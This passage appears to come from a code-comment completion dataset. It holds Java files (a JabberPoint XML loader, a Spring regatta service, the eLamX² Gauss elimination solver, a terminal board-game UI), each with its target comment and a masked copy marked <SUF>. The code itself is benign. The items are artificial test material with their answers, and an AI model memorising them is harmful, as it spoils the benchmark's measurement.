NodeList slides = documentElement.getElementsByTagName(SLIDE);
maxSlides = slides.getLength();
// Voor elke slide in de presentatie wordt de slide geladen
for (slideNumber = 0; slideNumber < maxSlides; slideNumber++)
{
// Haalt de slide op
Element xmlSlide = (Element) slides.item(slideNumber);
Slide slide = new Slide();
slide.setTitle(this.getTitle(xmlSlide, SLIDETITLE));
presentation.append(slide);
// Haalt de items op
NodeList slideItems = xmlSlide.getElementsByTagName(ITEM);
maxItems = slideItems.getLength();
// Voor elk item in de slide wordt het item geladen
for (itemNumber = 0; itemNumber < maxItems; itemNumber++)
{
Element item = (Element) slideItems.item(itemNumber);
this.loadSlideItem(slide, item);
}
}
}
catch (IOException ioException)
{
System.err.println(ioException.toString());
}
catch (SAXException saxException)
{
System.err.println(saxException.getMessage());
}
catch (ParserConfigurationException parcerConfigurationException)
{
System.err.println(PCE);
}
}
// Laad een slide item
protected void loadSlideItem(Slide slide, Element item)
{
// Standaard level is 1
int level = 1;
// Haalt de attributen op
NamedNodeMap attributes = item.getAttributes();
String leveltext = attributes.getNamedItem(LEVEL).getTextContent();
// Als er een level is, wordt deze geparsed
if (leveltext != null)
{
try
{
level = Integer.parseInt(leveltext);
}
catch (NumberFormatException numberFormatException)
{
System.err.println(NFE);
}
}
// Haalt het type op
String type = attributes.getNamedItem(KIND).getTextContent();
if (TEXT.equals(type))
{
slide.append(new TextItem(level, item.getTextContent()));
}
else
{
// Als het type een afbeelding is, wordt deze toegevoegd
if (IMAGE.equals(type))
{
slide.append(new BitmapItem(level, item.getTextContent()));
}
else
{
System.err.println(UNKNOWNTYPE);
}
}
}
// Slaat een presentatie op naar het gegeven bestand
@Override
public void saveFile(Presentation presentation, String filename) throws IOException
{
// Maakt een printwriter
PrintWriter out = new PrintWriter(new FileWriter(filename));
// Schrijft de XML header
out.println("<?xml version=\"1.0\"?>");
out.println("<!DOCTYPE presentation SYSTEM \"jabberpoint.dtd\">");
// Schrijft de presentatie
out.println("<presentation>");
out.print("<showtitle>");
out.print(presentation.getTitle());
out.println("</showtitle>");
// Voor elke slide in de presentatie wordt de slide opgeslagen
for (int slideNumber = 0; slideNumber < presentation.getSize(); slideNumber++)
{
// Haalt de slide op
Slide slide = presentation.getSlide(slideNumber);
// Schrijft de<SUF>
out.println("<slide>");
out.println("<title>" + slide.getTitle() + "</title>");
// Voor elk item in de slide wordt het item opgeslagen
Vector<SlideItem> slideItems = slide.getSlideItems();
for (int itemNumber = 0; itemNumber < slideItems.size(); itemNumber++)
{
// Haalt het item op
SlideItem slideItem = (SlideItem) slideItems.elementAt(itemNumber);
out.print("<item kind=");
// Als het item een tekst item is, wordt deze opgeslagen
if (slideItem instanceof TextItem)
{
out.print("\"text\" level=\"" + slideItem.getLevel() + "\">");
out.print(((TextItem) slideItem).getText());
}
else
{
// Als het item een afbeelding is, wordt deze opgeslagen
if (slideItem instanceof BitmapItem)
{
out.print("\"image\" level=\"" + slideItem.getLevel() + "\">");
out.print(((BitmapItem) slideItem).getName());
}
else
{
System.out.println("Ignoring " + slideItem);
}
}
out.println("</item>");
}
out.println("</slide>");
}
out.println("</presentation>");
out.close();
}
}
|
121807_0 | package be.ucll.ip.minor.groep124.service;
import be.ucll.ip.minor.groep124.exceptions.DomainException;
import be.ucll.ip.minor.groep124.exceptions.ServiceException;
import be.ucll.ip.minor.groep124.model.Regatta;
import be.ucll.ip.minor.groep124.model.RegattaRepository;
import be.ucll.ip.minor.groep124.model.Team;
import be.ucll.ip.minor.groep124.model.TeamRepository;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.dao.DataIntegrityViolationException;
import org.springframework.stereotype.Service;
import java.util.Set;
@Service
public class RegattaTeamService {
@Autowired
private RegattaRepository regattaRepository;
@Autowired
private TeamRepository teamRepository;
public Team addTeamToRegatta(long teamId, long regattaId){
Team team = teamRepository.findById(teamId).orElseThrow(() -> new ServiceException("get", "no.team.with.this.id"));
Regatta regatta = findRegatta(regattaId);
try {
regatta.addTeam(team);
teamRepository.save(team);
return team;
} catch (DomainException d){
throw new ServiceException(d.getAction(), d.getMessage());
} catch (DataIntegrityViolationException e){
throw new ServiceException("addTeamToRegatta", e.getMessage());
}
}
public Team removeTeamFromRegatta(long teamId, long regattaId){
Team team = teamRepository.findById(teamId).orElseThrow(() -> new ServiceException("get", "no.team.with.this.id"));
Regatta regatta = findRegatta(regattaId);
try {
regatta.removeTeam(team);
teamRepository.save(team);
return team;
} catch (DomainException d){
throw new ServiceException(d.getAction(), d.getMessage());
} catch (DataIntegrityViolationException e){
throw new ServiceException("removeTeamFromRegatta", e.getMessage());
}
}
//Moet geen errors gooien bij empty list/null!
public Set<Team> findTeamsByRegattasId(long regattaId) {
return findRegatta(regattaId).getTeamsRegistered();
}
private Regatta findRegatta(long regattaId){
return regattaRepository.findById(regattaId).orElseThrow(() -> new ServiceException("get", "no.regatta.with.this.id"));
}
}
| AmineMousssaif/ip | src/main/java/be/ucll/ip/minor/groep124/service/RegattaTeamService.java | 685 | //Moet geen errors gooien bij empty list/null! | line_comment | nl | package be.ucll.ip.minor.groep124.service;
import be.ucll.ip.minor.groep124.exceptions.DomainException;
import be.ucll.ip.minor.groep124.exceptions.ServiceException;
import be.ucll.ip.minor.groep124.model.Regatta;
import be.ucll.ip.minor.groep124.model.RegattaRepository;
import be.ucll.ip.minor.groep124.model.Team;
import be.ucll.ip.minor.groep124.model.TeamRepository;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.dao.DataIntegrityViolationException;
import org.springframework.stereotype.Service;
import java.util.Set;
@Service
public class RegattaTeamService {
@Autowired
private RegattaRepository regattaRepository;
@Autowired
private TeamRepository teamRepository;
public Team addTeamToRegatta(long teamId, long regattaId){
Team team = teamRepository.findById(teamId).orElseThrow(() -> new ServiceException("get", "no.team.with.this.id"));
Regatta regatta = findRegatta(regattaId);
try {
regatta.addTeam(team);
teamRepository.save(team);
return team;
} catch (DomainException d){
throw new ServiceException(d.getAction(), d.getMessage());
} catch (DataIntegrityViolationException e){
throw new ServiceException("addTeamToRegatta", e.getMessage());
}
}
public Team removeTeamFromRegatta(long teamId, long regattaId){
Team team = teamRepository.findById(teamId).orElseThrow(() -> new ServiceException("get", "no.team.with.this.id"));
Regatta regatta = findRegatta(regattaId);
try {
regatta.removeTeam(team);
teamRepository.save(team);
return team;
} catch (DomainException d){
throw new ServiceException(d.getAction(), d.getMessage());
} catch (DataIntegrityViolationException e){
throw new ServiceException("removeTeamFromRegatta", e.getMessage());
}
}
//Moet geen<SUF>
public Set<Team> findTeamsByRegattasId(long regattaId) {
return findRegatta(regattaId).getTeamsRegistered();
}
private Regatta findRegatta(long regattaId){
return regattaRepository.findById(regattaId).orElseThrow(() -> new ServiceException("get", "no.regatta.with.this.id"));
}
}
|
89785_17 | /*
* This program developed in Java is based on the netbeans platform and is used
* to design and to analyse composite structures by means of analytical and
* numerical methods.
*
* Further information can be found here:
* http://www.elamx.de
*
* Copyright (C) 2021 Technische Universität Dresden - Andreas Hauffe
*
* This file is part of eLamX².
*
* eLamX² is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* eLamX² is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with eLamX². If not, see <http://www.gnu.org/licenses/>.
*/
package de.elamx.mathtools;
/*
* Klasse zum Gauss-Eliminations-Verfahren
**/
public class Gauss {
double[][] A;
private int n;
private double[][] L;
private double[][] U;
/**
* Konstruktor A: Matrix initialisiert
*
* @param A Matrix*
*/
public Gauss(double[][] A) {
factor(A);
}
/**
* Konstruktor B: Matrix uninitialisiert
*/
public Gauss() {
}
/**
* Hauptmethode Eliminationsverfahren
*/
private void factor(double[][] B) {
// assert isSquare(B) ;
n = B.length;
A = new double[n][];
for (int i = 0; i < n; i++) {
A[i] = new double[n];
// i-te Zeile von B kopieren
System.arraycopy(B[i], 0, A[i], 0, n);
}
L = new double[n][n];
U = new double[n][n];
step(0);
}
/**
* Hilfsmethode: k-ter Zerlegungsschritt
*/
private void step(int k) {
if (k < n) {
// k-te Zeile+Spalte von L+U berechnen
double u = A[k][k];
U[k][k] = u;
L[k][k] = 1.0;
System.arraycopy(A[k], k + 1, U[k], k + 1, n - (k + 1));
for (int i = k + 1; i < n; i++) {
L[i][k] = A[i][k] / u;
}
// A in A'' umformen fuer nächsten Schritt
for (int i = k + 1; i < n; i++) {
for (int j = k + 1; j < n; j++) {
A[i][j] -= L[i][k] * U[k][j];
}
}
// nächster Schritt
step(k + 1);
}
// else: fertig!
}
/**
* Matrix A zerlegen und mit rechter Seite b lösen
*
* @param A Matrix
* @param b Vektor der rechten Seite
* @return Lösungsvektor von A*x = b
*/
public double[] solve(double[][] A, double[] b) {
// assert isSquare(A) ;
// assert A.length == b.length ;
factor(A);
return solve(b);
}
/**
* Letzte zerlegte Matrix mit rechter Seite b lösen
*
* @param b Vektor der rechten Seite
* @return Lösungsvektor von A*x = b
*/
public double[] solve(double[] b) {
// assert b.length == n ;
double[] y = solveLower(b);
double[] x = solveUpper(y);
return x;
}
/**
* Matrix A invertieren durch Lösung mit Einheitsvektoren
*
* @param A Matrix
* @return invertierte Matrix
*/
public double[][] invert(double[][] A) {
// assert isSquare(A) ;
factor(A);
double[][] Ainv = new double[n][n];
for (int j = 0; j < n; j++) {
double[] x = solve(base(n, j));
// x ist j-te Spalte von Ainv
for (int i = 0; i < n; i++) {
Ainv[i][j] = x[i];
}
}
return Ainv;
}
/**
* Hilfsmethode: löse L * y = b
*/
private double[] solveLower(double[] b) {
double[] y = new double[n];
for (int i = 0; i < n; i++) {
// i-te Zeile auflösen nach y[i]
y[i] = b[i];
// dazu alle y[j] mit j<i einsetzen
for (int j = 0; j < i; j++) {
y[i] -= L[i][j] * y[j];
}
}
return y;
}
/**
* Hilfsmethode: löse U * x = y
*/
private double[] solveUpper(double[] y) {
double[] x = new double[n];
for (int i = n - 1; i >= 0; i--) {
// i-te Zeile auflösen nach U[i][i]*x[i]
x[i] = y[i];
// dazu alle x[j] mit j>i einsetzen
for (int j = i + 1; j < n; j++) {
x[i] -= U[i][j] * x[j];
}
// jetzt auflösen nach x[i]
x[i] /= U[i][i];
}
return x;
}
/**
* Test ob M (n×m)-Matrix
*
* @param M Matrix, die geprüft werden soll
* @param n Zeilenanzahl
* @param m Spaltenanzahl
* @return true, wenn die Matrix n Zeilen hat und jede Zeile m Spalten
*/
public boolean isShape(double[][] M, int n, int m) {
if (M.length != n) {
return false;
} else {
for (int i = 0; i < n; i++) {
if (M[i].length != m) {
return false;
}
}
return true;
}
}
/**
* Test, ob M quadratisch
*
* @param M Matrix, die geprüft werden soll
* @return true, wenn die Matrix quadratisch ist
*/
public boolean isSquare(double[][] M) {
return isShape(M, M.length, M.length);
}
/**
* Erzeugt i-ten Einheitsvektor der Länge n
*
* @param n
* @param i
* @return
*/
public double[] base(int n, int i) {
double[] b = new double[n];
for (int j = 0; j < n; j++) {
b[j] = 0.0;
}
b[i] = 1.0;
return b;
}
/**
* Erzeugt Einheitsmatrix der Größe n
*
* @param n
* @return
*/
public double[][] unit(int n) {
double[][] M = new double[n][n];
for (int i = 0; i < n; i++) {
for (int j = 0; j < n; j++) {
M[i][j] = 0.0;
}
M[i][i] = 1.0;
}
// oder:
M = new double[n][];
for (int i = 0; i < n; i++) {
M[i] = base(n, i);
}
return M;
}
}
| AndiMb/eLamX2 | MathTools/src/de/elamx/mathtools/Gauss.java | 2,242 | // x ist j-te Spalte von Ainv | line_comment | nl | /*
* This program developed in Java is based on the netbeans platform and is used
* to design and to analyse composite structures by means of analytical and
* numerical methods.
*
* Further information can be found here:
* http://www.elamx.de
*
* Copyright (C) 2021 Technische Universität Dresden - Andreas Hauffe
*
* This file is part of eLamX².
*
* eLamX² is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* eLamX² is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with eLamX². If not, see <http://www.gnu.org/licenses/>.
*/
package de.elamx.mathtools;
/*
* Klasse zum Gauss-Eliminations-Verfahren
**/
public class Gauss {
double[][] A;
private int n;
private double[][] L;
private double[][] U;
/**
* Konstruktor A: Matrix initialisiert
*
* @param A Matrix*
*/
public Gauss(double[][] A) {
factor(A);
}
/**
* Konstruktor B: Matrix uninitialisiert
*/
public Gauss() {
}
/**
* Hauptmethode Eliminationsverfahren
*/
private void factor(double[][] B) {
// assert isSquare(B) ;
n = B.length;
A = new double[n][];
for (int i = 0; i < n; i++) {
A[i] = new double[n];
// i-te Zeile von B kopieren
System.arraycopy(B[i], 0, A[i], 0, n);
}
L = new double[n][n];
U = new double[n][n];
step(0);
}
/**
* Hilfsmethode: k-ter Zerlegungsschritt
*/
private void step(int k) {
if (k < n) {
// k-te Zeile+Spalte von L+U berechnen
double u = A[k][k];
U[k][k] = u;
L[k][k] = 1.0;
System.arraycopy(A[k], k + 1, U[k], k + 1, n - (k + 1));
for (int i = k + 1; i < n; i++) {
L[i][k] = A[i][k] / u;
}
// A in A'' umformen fuer nächsten Schritt
for (int i = k + 1; i < n; i++) {
for (int j = k + 1; j < n; j++) {
A[i][j] -= L[i][k] * U[k][j];
}
}
// nächster Schritt
step(k + 1);
}
// else: fertig!
}
/**
* Matrix A zerlegen und mit rechter Seite b lösen
*
* @param A Matrix
* @param b Vektor der rechten Seite
* @return Lösungsvektor von A*x = b
*/
public double[] solve(double[][] A, double[] b) {
// assert isSquare(A) ;
// assert A.length == b.length ;
factor(A);
return solve(b);
}
/**
* Letzte zerlegte Matrix mit rechter Seite b lösen
*
* @param b Vektor der rechten Seite
* @return Lösungsvektor von A*x = b
*/
public double[] solve(double[] b) {
// assert b.length == n ;
double[] y = solveLower(b);
double[] x = solveUpper(y);
return x;
}
/**
* Matrix A invertieren durch Lösung mit Einheitsvektoren
*
* @param A Matrix
* @return invertierte Matrix
*/
public double[][] invert(double[][] A) {
// assert isSquare(A) ;
factor(A);
double[][] Ainv = new double[n][n];
for (int j = 0; j < n; j++) {
double[] x = solve(base(n, j));
// x ist<SUF>
for (int i = 0; i < n; i++) {
Ainv[i][j] = x[i];
}
}
return Ainv;
}
/**
* Hilfsmethode: löse L * y = b
*/
private double[] solveLower(double[] b) {
double[] y = new double[n];
for (int i = 0; i < n; i++) {
// i-te Zeile auflösen nach y[i]
y[i] = b[i];
// dazu alle y[j] mit j<i einsetzen
for (int j = 0; j < i; j++) {
y[i] -= L[i][j] * y[j];
}
}
return y;
}
/**
* Hilfsmethode: löse U * x = y
*/
private double[] solveUpper(double[] y) {
double[] x = new double[n];
for (int i = n - 1; i >= 0; i--) {
// i-te Zeile auflösen nach U[i][i]*x[i]
x[i] = y[i];
// dazu alle x[j] mit j>i einsetzen
for (int j = i + 1; j < n; j++) {
x[i] -= U[i][j] * x[j];
}
// jetzt auflösen nach x[i]
x[i] /= U[i][i];
}
return x;
}
/**
* Test ob M (n×m)-Matrix
*
* @param M Matrix, die geprüft werden soll
* @param n Zeilenanzahl
* @param m Spaltenanzahl
* @return true, wenn die Matrix n Zeilen hat und jede Zeile m Spalten
*/
public boolean isShape(double[][] M, int n, int m) {
if (M.length != n) {
return false;
} else {
for (int i = 0; i < n; i++) {
if (M[i].length != m) {
return false;
}
}
return true;
}
}
/**
* Test, ob M quadratisch
*
* @param M Matrix, die geprüft werden soll
* @return true, wenn die Matrix quadratisch ist
*/
public boolean isSquare(double[][] M) {
return isShape(M, M.length, M.length);
}
/**
* Erzeugt i-ten Einheitsvektor der Länge n
*
* @param n
* @param i
* @return
*/
public double[] base(int n, int i) {
double[] b = new double[n];
for (int j = 0; j < n; j++) {
b[j] = 0.0;
}
b[i] = 1.0;
return b;
}
/**
* Erzeugt Einheitsmatrix der Größe n
*
* @param n
* @return
*/
public double[][] unit(int n) {
double[][] M = new double[n][n];
for (int i = 0; i < n; i++) {
for (int j = 0; j < n; j++) {
M[i][j] = 0.0;
}
M[i][i] = 1.0;
}
// oder:
M = new double[n][];
for (int i = 0; i < n; i++) {
M[i] = base(n, i);
}
return M;
}
}
|
157574_40 | package it.polimi.ingsw.view.tui;
import it.polimi.ingsw.model.Game;
import it.polimi.ingsw.model.ItemCards.ItemCard;
import it.polimi.ingsw.model.Player;
import it.polimi.ingsw.network.Client;
import it.polimi.ingsw.network.client.ClientImpl;
import it.polimi.ingsw.network.serializable.ChatMsg;
import it.polimi.ingsw.network.serializable.CheatMsg;
import it.polimi.ingsw.network.serializable.GameViewMsg;
import it.polimi.ingsw.network.serializable.MoveMsg;
import it.polimi.ingsw.utils.ObservableImpl;
import it.polimi.ingsw.view.RunnableView;
import java.util.ArrayList;
import java.util.List;
import java.util.Scanner;
import static it.polimi.ingsw.utils.Common.isTakeable;
import static it.polimi.ingsw.utils.Constants.*;
import static it.polimi.ingsw.view.tui.TerminalPrintables.*;
/**
* The TUI view of the game.
*/
public class Tui extends ObservableImpl implements RunnableView {
/**
* A lock to synchronize all the methods that change the state of this view.
*/
private final Object lock = new Object();
/**
* The scanner used to read the input.
*/
private final Scanner scanner = new Scanner(System.in);
/**
* Whether the player gave the number of players that will play the game or not.
*/
boolean gaveNumber;
/**
* The name of the player.
*/
private String playerName = "";
/**
* The model view of the game.
*/
private GameViewMsg modelView;
/**
* The state of the view.
*/
private State state = State.ASK_NAME;
/**
* Whether the view is running or not.
*/
private volatile boolean running;
/**
* Creates a new Textual User Interface view associated with the provided client.
*
* @param client the client associated with this view.
*/
public Tui(Client client) {
this.addObserver((ClientImpl) client);
}
/**
* Gets the state of the view.
*
* @return the state of the view.
*/
private State getState() {
synchronized (lock) {
return state;
}
}
/**
* Sets the state of the view to the provided one.
*
* @param state the new state of the view.
*/
private void setState(State state) {
synchronized (lock) {
this.state = state;
lock.notifyAll();
}
}
/**
* The main game loop.
*/
@Override
public void run() {
while (getState() == Tui.State.ASK_NAME) {
synchronized (lock) {
try {
new Thread(this::askPlayerName).start();
lock.wait();
} catch (InterruptedException e) {
System.err.println("Interrupted while waiting for server: " + e.getMessage());
}
}
}
while (getState() == Tui.State.ASK_NUMBER) {
synchronized (lock) {
try {
new Thread(this::askPlayerNumber).start();
lock.wait();
} catch (InterruptedException e) {
System.err.println("Interrupted while waiting for server: " + e.getMessage());
}
}
}
while (getState() == Tui.State.WAITING_FOR_PLAYERS) {
synchronized (lock) {
try {
printWaitingForPlayers();
lock.wait();
} catch (InterruptedException e) {
System.err.println("Interrupted while waiting for server: " + e.getMessage());
}
}
}
// create a thread passing the function that will handle the input
running = true;
Thread inputHandler = new Thread(this::acceptInput);
inputHandler.start();
while (!(getState() == Tui.State.ENDED)) {
synchronized (lock) {
try {
lock.wait();
} catch (InterruptedException e) {
System.err.println("Interrupted while waiting for server: " + e.getMessage());
}
}
}
// wait for the input handler to terminate and close the game
System.out.println("Press enter to close the game");
running = false;
try {
inputHandler.join();
} catch (InterruptedException e) {
throw new RuntimeException(e);
}
System.exit(0);
}
/**
* Updates the view with the provided model state.
*
* @param modelView the model view that contains a representation of the model state.
*/
@Override
public void updateView(GameViewMsg modelView) {
this.modelView = modelView;
// check the name input is valid
if (getState() == Tui.State.ASK_NAME && !playerName.equals("") && modelView.getNameError()) {
this.playerName = "";
setState(Tui.State.ASK_NAME);
}
// the game is waiting for players
if (!playerName.equals("") && modelView.getGameStatus().equals(Game.Status.WAITING)) {
if (playerName.equals(modelView.getPlayers().get(0).getName()) && !gaveNumber) {
setState(Tui.State.ASK_NUMBER); // I am lobby leader
} else setState(Tui.State.WAITING_FOR_PLAYERS); // I am not lobby leader
}
// the game has started
else if (modelView.getGameStatus().equals(Game.Status.STARTED)) {
if (modelView.getCurrentPlayer().getName().equals(this.playerName))
setState(Tui.State.PLAY); // it's my turn
else setState(Tui.State.WAITING_FOR_TURN); // it's not my turn
printGameStatus();
if (getState() == Tui.State.PLAY) {
System.out.println("It's your turn!");
}
}
// the game ends
else if (modelView.getGameStatus().equals(Game.Status.ENDED)) {
printEndScreen(modelView.getWinner().getName());
setState(Tui.State.ENDED);
}
}
/**
* Accepts input from the user and notifies the observers with the chosen message.
*/
private void acceptInput() {
while (running) {
// scan for command
String line = scanLine();
// check if running
if (!running) break;
// check if it's a command
if (line.charAt(0) == '/') {
String command = line.split(" ")[0];
// check which command it is
switch (command) {
case "/chat" -> {
// check that it has 2 arguments
if (line.split(" ").length >= 2) {
String chatMessage = line.split(" ", 2)[1];
notifyObservers(new ChatMsg(null, playerName, true, chatMessage));
} else {
System.out.println("Invalid arguments: Type /chat <message> to send a message to all players");
}
}
case "/privatechat" -> {
// check that it has 3 arguments
if (line.split(" ").length >= 3) {
String destPlayer = line.split(" ")[1];
List<String> playerNames = new ArrayList<>();
for (Player player : modelView.getPlayers()) {
playerNames.add(player.getName());
}
// check that the dest player exists and is not the player himself
if (playerNames.contains(destPlayer) && !destPlayer.equals(playerName)) {
String chatMessage = line.split(" ", 3)[2];
notifyObservers(new ChatMsg(destPlayer, playerName, false, "[private]" + chatMessage));
} else if (destPlayer.equals(playerName)) {
System.out.println("You can't send a private message to yourself, touch some grass instead :)");
} else {
System.out.println("Invalid player name");
}
} else {
System.out.println("Invalid arguments: Type /privatechat <player> <message> to send a private message to a player");
}
}
case "/pick" -> {
// check if it's the player's turn
if (state.equals(Tui.State.PLAY)) {
pickCards();
} else System.out.println("Picking cards is not an option right now.");
}
case "/cheat" -> {
if (modelView.getCurrentPlayer().getName().equals(playerName)) {
notifyObservers(new CheatMsg(playerName));
} else System.out.println("You can't cheat if it's not your turn!");
}
case "/help" -> {
System.out.println("Type /chat <message> to send a message to all players");
System.out.println("Type /privatechat <player> <message> to send a private message to a player");
System.out.println("Type /pick to start the card picking process");
System.out.println("Type /help to see this list again");
}
default -> System.out.println("Invalid command: type /help for a list of commands");
}
} else System.out.println("Invalid command: type /help for a list of commands");
}
}
/**
* Asks the player the number of players that will play the game.
*/
private void askPlayerNumber() {
int playerNumber = 0;
boolean valid = false;
while (!valid) {
System.out.println("How many players are playing? (2-4)");
try {
playerNumber = Integer.parseInt(scanLine());
if (playerNumber >= 2 && playerNumber <= 4) valid = true;
else printError("Invalid number of players");
} catch (NumberFormatException e) {
printError("Invalid number or non-numeric input");
}
}
gaveNumber = true;
notifyObservers(playerNumber);
}
/**
* Asks the player to pick the cards from the board.
* The cards will be in the exact order.
* Notifies the observers of the picked cards.
*/
private void pickCards() {
List<List<Integer>> pickedCoords = new ArrayList<>();
System.out.println("You can pick cards from the board");
int pickedNum = 0; //number of already picked cards
boolean validChoice = false;
int shelfCol = 0; //column of the shelf where the player is moving cards to
int maxCards = 0; //maximum cards that can be picked
int[] freeSlotsNumber = new int[numberOfColumns]; //number of max cards that can be inserted in each column
List<ItemCard> pickedCards = new ArrayList<>(); //list of picked cards
Player me = null;
for (Player p : modelView.getPlayers())
if (p.getName().equals(playerName)) {
me = p;
break;
}
if (me == null) throw new NullPointerException();
for (int j = 0; j < numberOfColumns; j++) {
int freeSlots = 0;
for (int i = 0; i < numberOfRows && freeSlots < 3; i++) {
if (modelView.getShelfOf(me)[i][j] == null) freeSlots++;
if (freeSlots > maxCards) maxCards = freeSlots;
freeSlotsNumber[j] = freeSlots;
}
}
if (maxCards > 3) maxCards = 3;
//asking for card coordinates
System.out.println("You can take up to " + maxCards + " cards");
while (pickedNum < maxCards) {
System.out.print("Card " + (pickedNum + 1) + "-> enter ROW number: ");
boolean valid = false;
int row = 0;
while (!valid)
try {
row = Integer.parseInt(scanLine());
if (row >= 0 && row < numberOfBoardRows) valid = true;
else printError("Invalid number");
} catch (NumberFormatException e) {
printError("Invalid number or non-numeric input");
}
System.out.print("Card " + (pickedNum + 1) + "-> enter COLUMN number: ");
valid = false;
int column = 0;
while (!valid)
try {
column = Integer.parseInt(scanLine());
if (column >= 0 && column < numberOfBoardColumns) valid = true;
else printError("Invalid number");
} catch (NumberFormatException e) {
printError("Invalid number or non-numeric input");
}
//checking coordinate validity
if (isTakeable(modelView, row, column, pickedCoords)) {
List<Integer> coords = new ArrayList<>();
coords.add(row);
coords.add(column);
pickedCoords.add(coords);
pickedCards.add(modelView.getBoard()[row][column]);
pickedNum++;
} else printError("Invalid coordinates!, retry");
//ask if the player wants to pick another card
if (pickedNum < maxCards && pickedNum != 0) {
System.out.println("Do you want to pick another card?");
if (!askBoolean()) break;
}
}
System.out.println("These are the cards you picked: ");
printPickedCards(pickedCards);
System.out.println("Chose the the order: 1 - 2 - 3");
int orderId = 0; // not redundant
List<List<Integer>> tmp = new ArrayList<>();
List<Integer> used = new ArrayList<>();
while (tmp.size() < pickedCoords.size()) {
do {
try {
orderId = Integer.parseInt(scanLine());
} catch (NumberFormatException e) {
printError("Invalid number or non-numeric input");
}
} while ((orderId < 1 || orderId > pickedCoords.size()));
if (!used.contains(orderId)) {
used.add(orderId);
tmp.add(pickedCoords.get(orderId - 1));
} else
printError("You already used this number! retry");
}
pickedCoords = tmp;
System.out.println("Chose a shelf column to move the cards to: ");
while (!validChoice) {
try {
shelfCol = scanner.nextInt();
if (shelfCol < 0 || shelfCol >= numberOfColumns) printError("Invalid column! retry");
else if (freeSlotsNumber[shelfCol] < pickedNum) printError("Not enough space! retry");
else validChoice = true;
} catch (NumberFormatException e) {
printError("Invalid number or non-numeric input");
}
}
//notifying observers
notifyObservers(new MoveMsg(pickedCoords, shelfCol));
}
/**
* Prints the cards that the player picked.
*
* @param pickedCards the cards picked by the player.
*/
private void printPickedCards(List<ItemCard> pickedCards) {
for (ItemCard card : pickedCards) {
switch (card.getType()) {
case CATS -> printCat();
case BOOKS -> printBook();
case GAMES -> printGame();
case PLANTS -> printPlant();
case TROPHIES -> printTrophies();
case FRAMES -> printFrame();
}
System.out.print(" ");
}
}
/**
* Prints the current Game state.
*/
private void printGameStatus() {
// Prints the title, boards and shelves
clearConsole();
printSeparee();
printMyShelfie();
printBoard(modelView.getBoard(), modelView.getLayout());
System.out.println("\n");
printShelves();
printCommonGoalCards();
printPersonalGoalCards();
printScores();
printChat();
printSeparee();
}
/**
* Prints the Common Goal Cards.
*/
private void printCommonGoalCards() {
System.out.println("Common goal cards: ");
for (int i = 0; i < modelView.getCommonGoalCards().size(); i++) {
System.out.print((i + 1) + ": " + modelView.getCommonGoalCards().get(i).getType().toString() + " " + " " + " ");
}
System.out.println();
}
/**
* Prints the Personal Goal Cards.
*/
private void printPersonalGoalCards() {
System.out.println("Personal goal cards: ");
Player playingPlayer = null;
for (Player p : modelView.getPlayers()) {
if (p.getName().equals(playerName)) playingPlayer = p;
}
if (playingPlayer != null) {
System.out.print(" " + " " + " " + "╔═════╦═════╦═════╦═════╦═════╗");
System.out.print("\n");
for (int i = 0; i < numberOfRows; i++) {
System.out.print(" " + " " + " " + "║");
for (int j = 0; j < numberOfColumns; j++) {
if (playingPlayer.getPersonalGoalCard().getPattern()[i][j] == null) printEmpty();
else {
switch (playingPlayer.getPersonalGoalCard().getPattern()[i][j]) {
case CATS -> printCat();
case BOOKS -> printBook();
case GAMES -> printGame();
case PLANTS -> printPlant();
case TROPHIES -> printTrophies();
case FRAMES -> printFrame();
}
}
}
System.out.print(" " + i);
System.out.print("\n");
if (i != numberOfRows - 1)
System.out.println(" " + " " + " " + "╠═════╬═════╬═════╬═════╬═════╣");
}
System.out.print(" " + " " + " " + "╚═════╩═════╩═════╩═════╩═════╝");
System.out.print("\n");
System.out.print(" " + " " + " " + " 0 1 2 3 4 ");
System.out.println();
} else System.err.println("Error: player not found");
}
/**
* Prints the chat messages.
*/
private void printChat() {
if (modelView.getMessages().size() == 0) return;
System.out.println("Chat: ");
for (ChatMsg message : modelView.getMessages()) {
if (message.isPublic() || !message.isPublic() && (message.getRecipientPlayer().equals(playerName) || message.getSenderPlayer().equals(playerName)))
System.out.println(ANSI_BLUE + message.getSenderPlayer() + ": " + ANSI_RESET + ANSI_GREY + message.getMessage() + ANSI_RESET);
}
}
/**
* Prints the end screen with the provided winner name.
*
* @param winnerName the name of the winner.
*/
private void printEndScreen(String winnerName) {
printSeparee();
if (modelView.getWinner().getName().equals(playerName)) printWon();
else printLost();
System.out.println("The winner is " + winnerName + "!");
printScores();
printSeparee();
}
/**
* Asks the player's name.
*/
private void askPlayerName() {
// Ask the name of the player
System.out.println(" >> Enter your name: ");
this.playerName = scanLine();
notifyObservers(playerName);
}
/**
* Asks the player a true/false question.
*
* @return true if the player answered "y", false otherwise.
*/
private boolean askBoolean() {
System.out.print(" >> (y/n) ");
while (true) {
String input = scanLine();
char c = Character.toLowerCase(input.charAt(0));
if (c == 'y') {
return true;
} else if (c == 'n') {
return false;
} else {
printError("Please enter a valid input (y/n)");
}
}
}
/**
* Prints the shelves of every player.
*/
private void printShelves() {
int numOfPlayers = modelView.getPlayers().size();
for (Player p : modelView.getPlayers()) {
System.out.print(" " + " " + " " + p.getName());
for (int spaceCounter = 0; spaceCounter < 31 - p.getName().length(); spaceCounter++) System.out.print(" ");
System.out.print(" ");
}
System.out.print("\n");
for (int nop = 0; nop < numOfPlayers; nop++) {
System.out.print(" " + " " + " " + "╔═════╦═════╦═════╦═════╦═════╗ ");
}
System.out.print("\n");
for (int i = 0; i < numberOfRows; i++) {
for (Player p : modelView.getPlayers()) {
System.out.print(" " + " " + " " + "║");
for (int j = 0; j < numberOfColumns; j++) {
if (modelView.getShelfOf(p)[i][j] == null) printEmpty();
else {
